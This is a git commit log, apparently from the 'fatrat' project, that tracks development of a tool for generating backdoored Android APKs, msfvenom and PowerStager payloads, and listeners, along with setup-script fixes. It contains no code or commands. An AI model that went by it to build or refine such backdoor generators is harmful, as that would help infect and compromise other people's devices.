peterpt 2b535d37d6 Create README.md 2017-06-11 15:28:48 +01:00
peterpt 1dbd8bd1aa 1.9.5
- quick fix in pstagef function
- userspace created on new code explaining what is doing
2017-06-11 02:04:17 +01:00
peterpt 7c2f25cb1e 1.9.5
fixes in powerstager payloads on listeners
2017-06-11 00:50:53 +01:00
peterpt 82841bfd24 Delete fatrat 2017-06-11 00:50:08 +01:00
peterpt 71b2e42e0d 1.9.5
installing python pip and installing names package for powerstager 0.2.5
2017-06-09 16:02:51 +01:00
peterpt e79bc62eeb 1.9.5
powerstager updated
2017-06-09 15:57:23 +01:00
peterpt 8cfe99aa91 1.9.5
updated powerstager 0.2.5
2017-06-09 15:56:09 +01:00
peterpt fc648c7c3e Delete fatrat 2017-06-09 15:55:31 +01:00
peterpt 9bbe831734 1.9.5
Update version 0.2.5
2017-06-09 15:52:30 +01:00
peterpt 8fc0b9bf8b Delete power.py 2017-06-09 15:51:35 +01:00
peterpt 9ba9635090 1.9.5 2017-06-04 07:54:16 -04:00
peterpt 09cabbf958 1.9.5
quickfix
2017-06-04 06:08:56 -04:00
peterpt 16134019f5 Merge pull request #134 from peterpt/master
Fudwin correction
2017-06-04 10:57:05 +01:00
peterpt 436271a5da 1.9.5 2017-06-04 05:54:56 -04:00
peterpt 6ba2b8c141 1.9.5
simple fudwin code correction
2017-06-04 05:53:27 -04:00
Edo -maland- 5f1b805f1c Update README.md 2017-06-04 12:53:48 +07:00
Edo -maland- 21842eed88 Update CHANGELOG.md 2017-06-04 12:53:31 +07:00
Edo -maland- 931f70e6e4 update fatrat v.1.9.5 2017-06-04 12:51:06 +07:00
Edo -maland- 633472b8bd update fatrat v.1.9.5 2017-06-04 12:50:02 +07:00
Edo -maland- a1d356220a Delete fatrat 2017-06-04 12:49:24 +07:00
Edo -maland- 0ee46c4ef3 Merge pull request #133 from peterpt/master
1.9.4_ patch 06
2017-06-03 22:32:27 +07:00
peterpt 40df24f2f8 1.9.4_p06 2017-06-03 16:19:31 -04:00
peterpt 5eedef260a 1.9.4_p05 2017-06-03 13:26:56 -04:00
Edo -maland- 3f644625cc Update README.md 2017-06-02 13:44:14 +07:00
Edo -maland- 1060b04c84 Update README.md 2017-06-02 13:43:28 +07:00
Edo -maland- 100be35caf Update README.md 2017-06-02 13:42:35 +07:00
Edo -maland- 4eaa016330 Update README.md 2017-06-02 13:39:42 +07:00
Edo -maland- bcad87e7d6 Update README.md 2017-06-02 13:37:58 +07:00
peterpt bd1b364bf4 1.9.4 2017-05-31 22:18:56 +01:00
Edo -maland- f84b5e1762 Update LICENSE 2017-06-01 00:02:09 +07:00
peterpt 7ff5438448 1.9.4_p_d2j
some double quote in chmod permission in dex2jar was breaking the setup of it and avoiding dex2jar instalation
-fixed
2017-05-31 10:02:51 -04:00
peterpt ca70a29e41 1.9.4_p_d2j
a simple patch to fix the copy of dex2jar librabries to /usr/local/share/dex2jar/lib
2017-05-31 13:59:09 +01:00
peterpt cc15de46e3 1.9.4
user space filled
2017-05-30 16:21:39 +01:00
peterpt 900274adca 1.9.4
User space created , explained the multiple parts of the code in setup and how the logic of setup works
2017-05-30 16:11:17 +01:00
peterpt 0cf8f76997 1.9.4
more user space created explaining the code
2017-05-30 15:28:16 +01:00
peterpt 3e33db8db5 1.9.4 2017-05-30 03:30:38 -04:00
peterpt f9236768ad 1.9.4
Setup will display at the end the failed installed packages , case that happen
2017-05-30 03:27:53 -04:00
peterpt d8ae678859 1.9.4
Setup will display at the end of the script the packages that were not able to install , in case that happen .
2017-05-30 08:24:48 +01:00
peterpt 14585b862b Delete setup.sh 2017-05-30 03:23:58 -04:00
peterpt d61823aeda 1.9.4
no more execution permissions before executing setup.sh , on git download , setup will arrive at user computer with execution permissions already .
2017-05-29 20:03:01 -04:00
peterpt 996c635dcf 1.9.4
Fixed issue with displaying current listeners
2017-05-30 00:58:38 +01:00
peterpt 9b7fa0fd8a Delete fatrat 2017-05-29 19:58:05 -04:00
peterpt 1534abb5e1 Merge pull request #122 from peterpt/master
1.9.4
2017-05-30 00:02:55 +01:00
peterpt 8cfb00702f 1.9.4 2017-05-30 00:01:34 -04:00
peterpt 2c362cc092 1.9.4_p05
fix for compatibility with redirect text to files in variables
2017-05-29 16:06:23 +01:00
peterpt 89925fc37f Delete setup.sh 2017-05-29 11:04:56 -04:00
peterpt 081ab8f3bd 1.9.4_p04
- new approach to log creation without touch
- removed unessential log files
2017-05-29 07:59:49 +01:00
peterpt 6a27a6c902 Delete setup.sh 2017-05-29 02:58:12 -04:00
peterpt 54ad3bac9c 1.9.4_p01
fixed error on creating msfconsole scripts at the end
2017-05-29 01:02:42 +01:00
peterpt baa609e632 Delete backdoor_apk 2017-05-28 20:02:01 -04:00
peterpt 5f859251ab 1.9.4_p04
missed log creation - fixed
2017-05-29 01:01:45 +01:00
peterpt e6bd2afd12 Delete setup.sh 2017-05-28 20:01:08 -04:00
peterpt 8f33b1da2d 1.9.4_p03
unlinking possible links before making new symlinks in same place
2017-05-29 00:48:07 +01:00
peterpt 43f1854cf1 Delete setup.sh 2017-05-28 19:47:21 -04:00
peterpt 63112279cc 1.9.4_p02
Patch applied to aapt , dx & apktool .
before calling which command , both files in (/usr/sbin) and in (tools/) must have already execution permission or which command will fail even if everything is ok with installation .
2017-05-28 22:21:51 +01:00
peterpt 6cf3c77f21 1.9.4_p01
fix in searchsploit manual path input
2017-05-28 17:13:58 +01:00
peterpt 0d5c32f902 Delete setup.sh 2017-05-28 12:12:57 -04:00
Edo -maland- f53fd8e6c1 Update fatrat 2017-05-28 20:48:31 +07:00
peterpt df4a1e3c19 1.9.4
User may have ming32 installed on 64bit (option added)
2017-05-28 14:46:55 +01:00
peterpt 605d5b2e7b Delete setup.sh 2017-05-28 09:46:14 -04:00
Edo -maland- a9bf996e67 update v.1.9.4 2017-05-28 20:37:32 +07:00
Edo -maland- 736f2bddbf Delete fatrat 2017-05-28 20:36:24 +07:00
peterpt 7902470598 1.9.4
quick fix in searchsploit
2017-05-28 12:48:50 +01:00
peterpt 06370fd92a Delete setup.sh 2017-05-28 07:48:21 -04:00
peterpt 0d8663c612 1.9.4
quick patch
2017-05-28 07:25:36 -04:00
peterpt 35955d152c 1.9.4
quick fix to load listeners code
2017-05-28 07:08:25 -04:00
Edo -maland- c0524143fa Update setup.sh 2017-05-28 17:52:15 +07:00
Edo -maland- 392bad625b Merge pull request #119 from peterpt/master
Update 1.9.4
2017-05-28 16:47:35 +07:00
peterpt 050d1d783e 1.9.4 2017-05-28 04:17:36 +01:00
peterpt 0949bde62d 1.9.4 2017-05-27 21:49:27 -04:00
peterpt 1e9278a20c 1.9.4 2017-05-27 21:41:41 -04:00
peterpt 49401ae8c2 1.9.4 2017-05-28 02:31:59 -04:00
peterpt a6208a918f patch 2017-05-10 08:14:37 +01:00
peterpt 6b8f4a3f32 patch 2017-05-09 16:16:53 +01:00
Edo -maland- 395e05737c Update README.md 2017-05-07 08:10:24 +07:00
Edo -maland- 7f8619c5fb Update README.md 2017-05-07 08:09:53 +07:00
peterpt 15eeacfdd5 Patch 2017-05-05 15:21:15 +01:00
peterpt d981998882 Patch 2017-05-05 15:00:41 +01:00
peterpt 7b3a43ae7a patch 2017-05-05 14:58:15 +01:00
peterpt 662cfad24f Patch 2017-05-05 14:51:39 +01:00
peterpt bb76ec78ce Patch
root detection inplemented
2017-05-05 14:50:48 +01:00
peterpt 915fc0f87a update
check for active internet connection before proceed implemented .
2017-05-05 14:45:51 +01:00
peterpt e91da0d5ba Changes
internet connection check up before updating
2017-05-05 14:38:25 +01:00
peterpt a9328c8483 fix 2017-05-05 14:17:58 +01:00
peterpt af353acf93 patch armv support 2017-05-05 14:10:10 +01:00
peterpt 9dec058008 Patch
Aarch 64bit support implemented
2017-05-05 06:45:10 +01:00
peterpt 45ff7845f7 Update 1.9.3 rev.02
Setup will display at start the user arch .
Setup will double check if mingw was indeed installed successfully from kali repo .
In case by some reason , mingw was no installed then setup will provide the possible causes of why mingw32 was not installed .

If none of these archs are detected : x86_64|i386|i486|i586|i686  then setup will stop at beginning and will output a message to user to post the arch on issues , this works this way so we can add that arch to setup in a future upgrade and at same time point a specific correct install package to that arch .
2017-05-01 13:38:48 -04:00
peterpt 8041e9252f Update setup.sh 2017-05-01 09:46:11 -04:00
peterpt 69f7cd36d8 fixes in mingw installation
Setup will detect user OS architecture and will install the appropriate mingw compiler
2017-05-01 09:30:48 -04:00
peterpt 25e0caabef Update 1.9.3 rev.02
disabled no input from user on lhost & lport values
2017-04-30 00:55:25 +01:00
peterpt afc49cbca7 Delete powerfull.sh 2017-04-29 19:54:35 -04:00
peterpt a9351737d5 Update 1.9.3 rev.02
Fixes in all menus exit points
credits updated
2017-04-30 00:47:50 +01:00
peterpt 44ae3cdcd4 Delete fatrat 2017-04-29 19:47:03 -04:00
peterpt dd4affae07 Update 1.9.3 rev.01
fixes in msfvenom
2017-04-29 19:08:20 +01:00
peterpt b83f84babf Delete fatrat 2017-04-29 14:07:45 -04:00
Edo -maland- 2b944e1f55 Update README.md 2017-04-26 13:03:05 +07:00
Edo -maland- 24b0bd0706 Merge pull request #91 from peterpt/master
Update 1.9.3
2017-04-26 01:29:47 +07:00
Edo -maland- 2f7844f7fa fatrat v.1.9.3 2017-04-26 01:29:32 +07:00
Edo -maland- a098fd7d7d Update README.md 2017-04-26 01:28:33 +07:00
Edo -maland- 863ff17a2f Delete fatrat 2017-04-26 01:27:37 +07:00
Edo -maland- afe1d99255 Create setup.sh 2017-04-26 00:53:08 +07:00
Edo -maland- 0dcb859584 Delete setup.sh 2017-04-26 00:52:19 +07:00
Edo -maland- 79501a2ed1 Update setup.sh 2017-04-26 00:49:19 +07:00
peterpt 817f90e64a Update 1.9.3
Setup order changes .
openjdk 8 will be installed from kali repository .
2017-04-24 15:14:35 +01:00
peterpt 588c28c63f Delete setup.sh 2017-04-24 15:13:16 +01:00
peterpt 5d30ff1860 Add files via upload 2017-04-23 13:17:32 +01:00
peterpt 2edfcc9710 Add files via upload 2017-04-23 13:16:47 +01:00
peterpt 1901545d45 Update 1.9.3
Some bugs fixes
2017-04-23 12:59:01 +01:00
peterpt aae72d2748 Update 1.9.3 2017-04-22 15:14:04 +01:00
peterpt 808463baaa Delete fatrat 2017-04-22 10:13:24 -04:00
peterpt e29e0d0df1 Update 1.9.3 2017-04-17 17:26:06 +01:00
peterpt 5c008d6360 Update 1.9.3 2017-04-17 17:24:36 +01:00
peterpt e31343db31 Update 1.9.3 2017-04-17 17:23:07 +01:00
peterpt b535a7e45f Changes 2017-04-17 08:19:48 -04:00
root 3d7928004a Tools Update 2017-04-17 13:15:56 -04:00
peterpt 2cf9fe9792 Update 1.9.3
little fixes
2017-04-16 05:48:26 +01:00
peterpt c12dd4394d Update 1.9.3 2017-04-15 11:41:11 -04:00
root 32431b01b6 Update 1.9.3 2017-04-15 16:34:02 -04:00
peterpt c529c5f79a Update 1.9.3
some changes
2017-04-15 16:22:27 +01:00
peterpt 70d414cebe Delete fatrat 2017-04-15 11:21:52 -04:00
peterpt f30dc9701d Update 1.9.3
fixes
2017-04-15 16:20:04 +01:00
peterpt f20b7349be Delete backdoor_apk 2017-04-15 11:19:34 -04:00
Edo -maland- 18a3ac09f9 Update README.md 2017-04-13 20:43:47 +07:00
Edo -maland- ae12a8f413 Update README.md 2017-04-13 20:42:51 +07:00
Edo -maland- 23b48d21b8 Update README.md 2017-04-13 20:39:22 +07:00
peterpt bd230795cc Update CHANGELOG.md 2017-04-11 21:38:59 +01:00
peterpt 19259ae205 Update README.md 2017-04-11 14:00:20 +01:00
peterpt 3e50e71395 Update 1.9.3 2017-04-08 12:45:58 -04:00
peterpt cdb0481406 Update 1.9.3 2017-04-08 12:35:54 -04:00
root f63c27f439 Update 1.9.3 2017-04-08 17:22:56 -04:00
root d35caf0317 Update 1.9.3 2017-04-08 17:20:22 -04:00
peterpt 3484689d11 Add files via upload 2017-04-03 04:01:04 -04:00
peterpt 50cbd011ba Delete CHANGELOG.md 2017-04-03 04:00:53 -04:00
peterpt d27df2e7c0 Add files via upload 2017-04-03 04:00:30 -04:00
peterpt 909903652a Delete backdoor_apk 2017-04-03 03:59:55 -04:00
peterpt 6da523bd31 Delete fatrat 2017-04-03 03:59:41 -04:00
peterpt 26878c619e Update fatrat 2017-04-02 22:50:16 +01:00
peterpt 342e8e2b7f Update README.md 2017-04-02 01:49:09 +01:00
peterpt a9e122e976 Update README.md 2017-03-30 17:09:16 -04:00
peterpt ba59604f5a Add files via upload 2017-03-30 04:57:55 -04:00
peterpt 3afb32859a Delete fatrat 2017-03-30 04:57:39 -04:00
root 6d80684228 Update-2 2017-03-30 06:44:11 -04:00
root 55bdaf4e52 Update-2 2017-03-29 22:05:16 -04:00
root d272c14cdd Update-2 2017-03-29 22:02:58 -04:00
root dcfd60fb18 Update 2017-03-29 09:26:39 -04:00
root e2d46b108a Adjustments 2017-03-28 08:05:09 -04:00
root 28c753b0c1 Allignment with Master 2017-03-28 07:00:08 -04:00
Edo -maland- eeb6fa1750 Update README.md 2017-03-27 14:35:41 +07:00
Edo -maland- 7ddbebc8e0 Add files via upload 2017-03-27 14:34:09 +07:00
Edo -maland- e1baee9521 27/03/17 2017-03-27 14:18:16 +07:00
root 3695f25a08 Allignment with master 2017-03-23 06:42:03 -04:00
Edo -maland- 36a9f0be8e 23/03/17 2017-03-23 11:02:14 +07:00
root df9ca06215 Fixes in Pnwinds 2017-03-22 21:24:42 -04:00
Edo -maland- 79b5da2fd1 22/03/17 2017-03-22 14:06:16 +07:00
Edo -maland- 944020779b Create trusted_2_6.py 2017-03-22 14:03:10 +07:00
Edo -maland- 6d733f0c11 kennedy 2017-03-22 13:59:39 +07:00
Edo -maland- 6f107650cd Update pw_exec.py 2017-03-22 13:28:14 +07:00
Edo -maland- 885a47c999 Update fatrat 2017-03-21 23:32:35 +07:00
Edo -maland- cee0c98b36 Update fatrat 2017-03-21 23:06:58 +07:00
Edo -maland- d077028ce0 Merge pull request #79 from peterpt/master
quick fix to pnwinds
2017-03-21 20:41:31 +07:00
root 020ecd498e patch 2017-03-21 08:54:39 -04:00
root 65094c335a update 2017-03-20 22:03:33 -04:00
Edo -maland- f81d0b719c Merge pull request #78 from peterpt/master
Implement new changes
2017-03-21 05:26:57 +07:00
Edo -maland- 535c4eb3a2 Merge pull request #76 from peterpt/master
Significative changes
2017-03-20 21:15:23 +07:00
peterpt 9d0506c081 Update backdoor_apk 2017-03-20 09:21:23 -04:00
peterpt 114921d3d4 Update fatrat 2017-03-20 09:20:45 -04:00
peterpt 4cecc531bd quick patch 2017-03-20 09:15:30 -04:00
peterpt 960d695c28 quick patch 2017-03-20 09:14:39 -04:00
root ad4ecfa5ef Fixes 2017-03-20 11:50:42 -04:00
root 642c72d7f4 Fixes 2017-03-20 11:48:38 -04:00
root 400ca3dc57 save listeners implemented 2017-03-18 23:34:40 -04:00
Edo -maland- f1c265f6a6 Add files via upload 2017-03-19 07:38:13 +07:00
Edo -maland- c95e110ea7 Delete prog.c 2017-03-19 07:37:53 +07:00
Edo -maland- 5e7deeabdf Merge pull request #74 from peterpt/master
New options
2017-03-19 07:37:27 +07:00
root 6b8cb4dafb alignment with master 2017-03-17 17:33:25 -04:00
root b17b17f8d0 added dnsutils to setup 2017-03-17 16:21:18 -04:00
root 4e2a20e024 fixes in variables 2017-03-17 15:31:28 -04:00
root b668335b5e Setup Changes 2017-03-17 14:26:35 -04:00
root bb9013227e IP information Implemented 2017-03-17 14:21:44 -04:00
root 2567a4abe8 IP information Implemented 2017-03-17 13:48:36 -04:00
Edo -maland- 792601e1d8 clean 2017-03-17 23:59:09 +07:00
Edo -maland- 68fabd328f Delete prog.c 2017-03-17 23:58:02 +07:00
Edo -maland- 83f2b38f4e Merge pull request #72 from peterpt/master 2017-03-17 23:57:20 +07:00
root bb57d442fd Fixes & Microsploit log 2017-03-17 12:53:45 -04:00
root b0d210950c Fixes & Microsploit log 2017-03-17 12:43:23 -04:00
root a4be51e1b6 Fixes & Microsploit log 2017-03-17 12:39:44 -04:00
Edo -maland- 48c2e5c1cb Merge pull request #71 from peterpt/master
implement new changes
2017-03-17 21:57:55 +07:00
Edo -maland- 229c080f10 @peterpt 2017-03-17 21:57:05 +07:00
Edo -maland- 3b16c02aaa Update fatrat 2017-03-17 11:48:03 +07:00
Edo -maland- 831f94f0e6 Update setup.sh 2017-03-17 11:44:25 +07:00
peterpt e4606eea57 Create readme.md 2017-03-16 21:02:47 -04:00
root 76a1e1de23 fixes 2017-03-16 19:20:18 -04:00
root a06173902c fixes 2017-03-16 19:15:45 -04:00
root 5689a4f70b fix variable 2017-03-16 08:34:37 -04:00
root 2d5a529ea1 Alignment With Master 2017-03-16 08:24:42 -04:00
Edo -maland- 35dd4e2f66 Update README.md 2017-03-16 18:39:34 +07:00
Edo -maland- adcb5a2132 Update README.md 2017-03-16 18:39:07 +07:00
Edo -maland- 7f9064a3fb Upload { forgot to change } 2017-03-16 15:38:04 +07:00
Edo -maland- 7d92359a0a Update CHANGELOG.md 2017-03-16 13:00:45 +07:00
Edo -maland- ecb55948b3 Update README.md 2017-03-16 12:58:36 +07:00
Edo -maland- 90a81886b5 udate fatrat v.1.9.2 2017-03-16 12:52:36 +07:00
Edo -maland- 04af18dc8d Update README.md 2017-03-16 12:23:35 +07:00
Edo -maland- c7712b72c9 Update CHANGELOG.md 2017-03-16 12:23:30 +07:00
Edo -maland- 6c14c5cd1f fatrat v.1.9.2 2017-03-16 12:12:47 +07:00
Edo -maland- 6a3529b6d3 Update apkembed.rb 2017-03-16 11:07:40 +07:00
Edo -maland- 14f173afdb Update setup.sh 2017-03-15 21:00:58 +07:00
Edo -maland- f8a426f81c Update README.md 2017-03-15 15:27:11 +07:00
Edo -maland- 0127144db0 Update README.md 2017-03-15 15:22:11 +07:00
Edo -maland- 404fcf802b Updae v1.9.1 2017-03-15 15:18:09 +07:00
Edo -maland- add35fe499 Update setup.sh 2017-03-15 13:12:01 +07:00
Edo -maland- 4370f7f217 Update setup.sh 2017-03-15 13:09:50 +07:00
Edo -maland- 45522ba6ab Update setup.sh 2017-03-15 07:18:25 +07:00
Edo -maland- d1af06c9bc Update setup.sh 2017-03-15 07:16:12 +07:00
Edo -maland- 49dc29580c Delete Dockerfile 2017-03-15 07:02:58 +07:00
Edo -maland- 8aadb8386a Update CHANGELOG.md 2017-03-15 07:00:15 +07:00
Edo -maland- 3a8cc6090d Update setup.sh 2017-03-14 23:46:23 +07:00
Edo -maland- 8e911fd29f Update README.md 2017-03-14 23:38:34 +07:00
Edo -maland- da2a620630 Update README.md 2017-03-14 23:37:57 +07:00
Edo -maland- 3fe17b41ee Update README.md 2017-03-14 23:37:11 +07:00
Edo -maland- 2f7d2950b9 Update 2017-03-14 23:35:14 +07:00
Edo -maland- 01fb91b12a Delete README.md 2017-03-14 23:34:46 +07:00
Edo -maland- 78124d5c1c Update README.md 2017-03-14 23:34:04 +07:00
Edo -maland- 90b812aeb5 Update README.md 2017-03-14 23:32:37 +07:00
Edo -maland- 9b4c3d9e65 Update README.md 2017-03-14 23:31:27 +07:00
Edo -maland- c945652f49 Update README.md 2017-03-14 23:30:47 +07:00
root f481aec33b Update v1.9.0 2017-03-14 23:22:43 +07:00
Edo -maland- c5594a753b Delete s 2017-03-14 22:18:38 +07:00
Edo -maland- 3b431c271d Delete NOTICE.txt 2017-03-14 22:17:33 +07:00
Edo -maland- d2e43976d7 Delete s 2017-03-14 22:16:47 +07:00
Edo -maland- a910d94ec9 Delete zipalign 2017-03-14 22:16:02 +07:00
Edo -maland- 09115791eb Delete x86_64-linux-android-ld 2017-03-14 22:15:56 +07:00
Edo -maland- 6511a4cf88 Delete split-select 2017-03-14 22:15:51 +07:00
Edo -maland- b94720a254 Delete source.properties 2017-03-14 22:15:46 +07:00
Edo -maland- d3dbc019b6 Delete runtime.properties 2017-03-14 22:15:35 +07:00
Edo -maland- cfd8335a79 Delete package.xml 2017-03-14 22:15:27 +07:00
Edo -maland- 663ba32199 Delete mipsel-linux-android-ld 2017-03-14 22:15:16 +07:00
Edo -maland- 05e9502b7c Delete mainDexClasses.rules 2017-03-14 22:15:05 +07:00
Edo -maland- 17ac4fd556 Delete mainDexClasses 2017-03-14 22:15:00 +07:00
Edo -maland- c87c8e18ae Delete llvm-rs-cc 2017-03-14 22:14:51 +07:00
Edo -maland- cbfa33a89e Delete jill.jar 2017-03-14 22:14:47 +07:00
Edo -maland- 20b3e71587 Delete jack.jar 2017-03-14 22:14:39 +07:00
Edo -maland- c68a9b0882 Delete jack-jacoco-reporter.jar 2017-03-14 22:14:31 +07:00
Edo -maland- c779ab7e2c Delete jack-coverage-plugin.jar 2017-03-14 22:14:24 +07:00
Edo -maland- 12217156fb Delete i686-linux-android-ld 2017-03-14 22:14:15 +07:00
Edo -maland- 1c875bbdd8 Delete dx 2017-03-14 22:14:06 +07:00
Edo -maland- 6e63310e6d Delete apksigner 2017-03-14 22:14:00 +07:00
Edo -maland- 247ca0fa8e Delete s 2017-03-14 22:12:56 +07:00
Edo -maland- 9372dba2a5 Delete dexdump 2017-03-14 22:12:25 +07:00
Edo -maland- c58b192942 Delete bcc_compat 2017-03-14 22:12:20 +07:00
Edo -maland- 3d6fbbc8f5 Delete arm-linux-androideabi-ld 2017-03-14 22:12:14 +07:00
Edo -maland- 1810e1e4c4 Delete aidl 2017-03-14 22:12:00 +07:00
Edo -maland- dac572a51e Delete aarch64-linux-android-ld 2017-03-14 22:11:56 +07:00
Edo -maland- ce5d966642 Delete aapt2 2017-03-14 22:11:51 +07:00
Edo -maland- f132ae707b Delete aapt 2017-03-14 22:11:47 +07:00
Edo -maland- b6442b0480 Delete apktool.jar 2017-03-14 22:11:30 +07:00
Edo -maland- 2a1b89b4b2 Delete apktool 2017-03-14 22:11:25 +07:00
Edo -maland- e1a76e1074 Delete log 2017-03-14 20:04:05 +07:00
Edo -maland- 291bdb8412 Create log 2017-03-14 19:20:01 +07:00
Edo -maland- 5e2e23120b Update 2017-03-14 19:19:06 +07:00
Edo -maland- 672a150583 Create log 2017-03-14 19:18:14 +07:00
Edo -maland- 22afcc775b Add files via upload 2017-03-14 19:15:40 +07:00
Edo -maland- 5d9400ca74 add some files 2017-03-14 19:10:01 +07:00
Edo -maland- c0df204e0e Create s 2017-03-14 19:02:09 +07:00
Edo -maland- c7ced486f3 Create s 2017-03-14 19:01:49 +07:00
Edo -maland- 0fd78b0623 Create s 2017-03-14 19:01:31 +07:00
Edo -maland- 57966eb9fd Delete s 2017-03-14 18:59:24 +07:00
Edo -maland- e011bee5fb Delete aw 2017-03-14 18:59:08 +07:00
Edo -maland- b42c16400f name list for backdoor apk if have the same name 2017-03-14 18:58:50 +07:00
Edo -maland- 2c965dec27 Create s 2017-03-14 18:58:15 +07:00
Edo -maland- 365baad1af New 2017-03-14 18:57:52 +07:00
Edo -maland- bdfcad16a2 Create aw 2017-03-14 18:57:19 +07:00
Edo -maland- 6a93f70008 New 2017-03-14 18:56:22 +07:00
Edo -maland- 6fd7ca773d Update CHANGELOG.md 2017-03-14 18:54:04 +07:00
Edo -maland- 3278bcd61d Update setup.sh 2017-03-04 06:08:28 +07:00
Edo -maland- af9d6c18a2 Update CHANGELOG.md 2017-03-03 19:26:58 +07:00
Edo -maland- 1133362a7b Update README.md 2017-03-03 19:26:29 +07:00
Edo -maland- 32f98c7f78 fixed a bugs 2017-03-03 19:25:31 +07:00
Edo -maland- 1d18414465 fatrat v.1.8.5
fixed some bug
2017-03-03 19:24:58 +07:00
Edo -maland- 2eb5d7adbe Delete setup.sh 2017-03-03 19:24:18 +07:00
Edo -maland- 1f90de5b7a Delete fatrat 2017-03-03 19:24:10 +07:00
Edo -maland- 433d55065a Merge pull request #58 from peterpt/master
fatrat update v1.8.3
2017-03-03 13:26:11 +07:00
peterpt 7531878410 Update setup.sh 2017-03-03 01:08:18 +00:00
peterpt cefc159247 Update setup.sh 2017-03-02 18:43:15 -05:00
peterpt 57472b67cd fatrat 2017-03-02 18:23:53 -05:00
peterpt a09ed923d1 Delete fatrat 2017-03-02 18:23:19 -05:00
peterpt 089d4da70c fatrat
menu aligment
2017-03-02 17:41:12 -05:00
peterpt 7bb54a14a2 setup of fatrat 2017-03-02 17:38:54 -05:00
peterpt 05e956d632 Delete setup.sh 2017-03-02 17:37:45 -05:00
Edo -maland- 0f67a9c064 Update pw_exec.py
#rel1k
2017-03-02 00:04:27 +07:00
Edo -maland- 9942f25ec8 Merge pull request #56 from peterpt/master
version change
2017-02-28 06:30:08 +07:00
peterpt 4ff99e1a65 version change
just to update the version of fatrat .
glitch in last patch made it return to 1.8
2017-02-27 20:01:03 +00:00
Edo -maland- 4a1dd1f91b Merge pull request #54 from peterpt/master
quick patch
2017-02-27 21:39:55 +07:00
peterpt 89f6d9cdb9 Update fatrat 2017-02-27 06:39:40 -05:00
peterpt 0fcde244a4 update patch
quick patch to remove screen output errors when apk payload is not build successfully
2017-02-27 05:28:11 -05:00
Edo -maland- 133e9049e2 Merge pull request #53 from peterpt/master
version update 1.8.1
2017-02-27 12:27:12 +07:00
peterpt 7c3c5ceda2 Update CHANGELOG.md 2017-02-26 21:33:55 -05:00
peterpt 27172cf885 Update CHANGELOG.md 2017-02-26 21:33:02 -05:00
peterpt f4ede7c7d1 version update
version update
2017-02-26 21:31:01 -05:00
peterpt 77db830c62 update 2017-02-26 21:29:33 -05:00
peterpt 8e2acb72b4 version update
version update
2017-02-26 21:26:36 -05:00
peterpt d1a5f5976e packages update 2017-02-26 21:24:08 -05:00
peterpt 40906061e4 Update apkembed.rb 2017-02-26 20:39:01 -05:00
peterpt cbe19dabf7 improvements
some bugs fixed on apk rat creation
2017-02-26 20:37:28 -05:00
peterpt 491c5ae357 Update setup.sh 2017-02-26 16:32:40 -05:00
peterpt 460533d309 Update fatrat 2017-02-26 16:27:11 -05:00
peterpt 566309a88f update
added : 
- dex2jar to instalation
- unzip
-zipalign
-apkembed ruby script dependencies 
-aapt
2017-02-26 16:17:36 -05:00
peterpt 1dd081574c update
- fatrat will now detect if user selected apk is valid 
- fatrat will create the payload apk for the ruby apk merge

This way , apk option 5 can be used by users with masfvenom in their system path , and with users without msfvenom in their system path
2017-02-26 16:12:13 -05:00
peterpt 9a76dd9d6f ruby script update
adapted ruby script to work with new fatrat configuration .
Ruby script is now able to work with fatrat when in setup the msfvenom path is inserted manually by the user and not detected 
automatically by the ruby script on its shell .

Resuming : payload will not be created by this ruby script anymore , apk payload will be created in fatrat script before this ruby script is launched .
2017-02-26 16:07:59 -05:00
peterpt 43818b19c9 Update setup.sh 2017-02-23 17:05:29 -05:00
peterpt 0d6ac6f4b8 Update setup.sh 2017-02-23 17:03:38 -05:00
peterpt 4e0a2e9566 Update setup.sh
missed code and some bugs
2017-02-23 16:20:43 -05:00
peterpt b5d1af9ad3 Update setup.sh 2017-02-23 16:08:34 -05:00
peterpt aae1a126c8 Update setup.sh 2017-02-23 16:01:19 -05:00
peterpt 89dfe5a223 Update setup.sh 2017-02-23 15:40:47 -05:00
peterpt 6fe3d989b6 update
powerfull script adapted to new config folder changes
2017-02-23 14:21:56 -05:00
peterpt 41f7027c29 update
adapted fatrat settings to new config folder
2017-02-23 14:20:10 -05:00
peterpt 38c677c61e update (logs & configs)
logs & configurations will have each one specific folders
2017-02-23 14:18:25 -05:00
peterpt 1e1db8f988 config folder
all configurations to fatrat will be stored here .
Objective : Organization of directory structure
2017-02-23 14:12:25 -05:00
peterpt c65a91ddc6 Update setup (logs)
simple patch to avoid a transitory error on the first run .
2017-02-23 13:50:27 -05:00
peterpt 31de7c4f20 Update (logs)
- new setup will create a log file during the configuration of fatrat for better understanding future setup.sh errors in package installations .
2017-02-23 13:41:50 -05:00
peterpt 67b9139542 Create readme.md 2017-02-23 13:39:07 -05:00
Edo -maland- ee4aa5304f Merge pull request #44 from peterpt/patch-1
Setup simplified
2017-02-22 21:10:50 +07:00
peterpt 4d8bed40af Setup simplified
Changes in metasploit manual input path
user only needs to point now the metasploit location instead have to write the full path of msfconsole and msfvenom
2017-02-22 07:14:19 -05:00
Edo -maland- 66378e3fa7 Update fatrat 2017-02-22 18:05:48 +07:00
Edo -maland- 6dfc5fbebc Merge pull request #42 from peterpt/master
New Pull request for Fatrat v1.8.2
2017-02-22 13:05:43 +07:00
peterpt 3e5828c187 text add
simple text added on user promp to point the user .
2017-02-21 15:58:56 -05:00
peterpt 33192c54e2 Delete setup.sh 2017-02-21 13:34:20 -05:00
peterpt 970cf960c6 Script change to new setup
Variables changed and detection of tools added to the script .
this script was changed to adapt to new setup configuration
2017-02-21 13:29:22 -05:00
peterpt 19e4f62704 fatrat adaptation to new setup
some previous errors fixed and fatrat adapted to new setup file
2017-02-21 13:26:32 -05:00
peterpt cde619b116 New setup file
New setup file that will detect automatically every dependency that fatrat needs to work .
- new config file will be generated from setup that fatrat main tool will guide itself to work with main apps needed .
2017-02-21 13:23:57 -05:00
Edo -maland- bfae2aebe4 Merge pull request #39 from mrusme/feature/docker
Dockerfile
2017-02-18 06:49:23 +07:00
Marius 78ce11a0eb Updated README.md 2017-02-17 20:33:14 +01:00
Marius d802f3ff94 Dockerfile 2017-02-17 20:30:04 +01:00
Edo -maland- d696418268 Update CHANGELOG.md 2017-02-14 15:50:40 +07:00
Edo -maland- 4771577df9 fixed 2017-02-14 15:49:37 +07:00
Edo -maland- be65c4e834 Delete fatrat 2017-02-14 15:48:39 +07:00
Edo -maland- 365510fa03 Update CHANGELOG.md 2017-02-14 15:32:09 +07:00
Edo -maland- 5e374a75ed Update fatrat-1.8.1 2017-02-14 15:30:25 +07:00
249 changed files with 141622 additions and 9953 deletions

4
.github/FUNDING.yml vendored Normal file
View File

